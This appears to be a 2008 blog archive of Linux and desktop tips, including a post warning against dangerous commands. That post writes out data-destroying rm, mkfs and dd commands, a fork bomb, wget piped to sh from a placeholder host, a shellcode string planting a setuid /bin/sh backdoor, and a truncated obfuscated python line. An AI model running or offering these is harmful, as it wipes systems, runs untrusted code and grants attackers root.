Posts

Showing posts from October, 2008

service command in ubuntu

Redhat, Fedora and CentOS users and server administrators uses service * start/stop/restart/status command . Where as Ubuntu users and server administrators uses /etc/init.d/* start/stop/restart. With Ubuntu Intrepid Ibex 8.10 Ubuntu users can also use the service command to start/stop/restart the Ubuntu services. Hope this make the Redhat and other administrators little homely while using Ubuntu :P.

Change folder background

Image
It is easy to customize color or pattern in folder background. I use Ubuntu, Gnome and Nautilus. To put any particular color or pattern as a background follow the following steps. In Nautilus go to Edit -> Background and Emblems You will see patterns. Drag any one of them to put it as pattern. To reset drag the pattern on top left corner with reset text. If you want to put particular color go to colors tab and drag any one of them.

Commands you should never run

Never ever run the following commands on your system no matter who tells you what. rm -rf / rm -rf . rm -rf * rm -r .* rm -r .[^.]* mkfs mkfs.ext3 mkfs.anything any_command > /dev/sda dd if=something of=/dev/sda :(){:|:&};: wget http://some_place/some_file sh ./some_file wget http://some_place/some_file -O- | sh char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.

Crash Windows with two keys

Image
Open notepad and copy the following lines. Save it as "crashWin.reg". (including the double quotes) Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters] "CrashOnCtrlScroll"=dword:00000001 Save and exit notepad. Or if you know how to edit the registry you can do it as in the picture below. Right click the file crashwin.reg and select merge. You will get a dialog box asking if you want to add information to registry. Select yes. You will be greeted saying the information were added successfully. Now restart the computer. After your windows boots up, press and hold Right Control key(Left control key will not work) and hit Scroll Lock key twice. Your windows will crash generating the memory dump file. P.S. This is not a bug. This is a feature provided by Microsoft to generate memory dump file.

Gnome desktop Screenshot

Image
Here is a beautiful screenshot of Ubuntu desktop. It has some kind of black theme with big nice cool looking Firefox icon. Other icons are lined below. Unlike other screenshots, in this screenshot you wont find any dock or screenlets. With combination of nice theme, icon and background this sure is a solid desktop.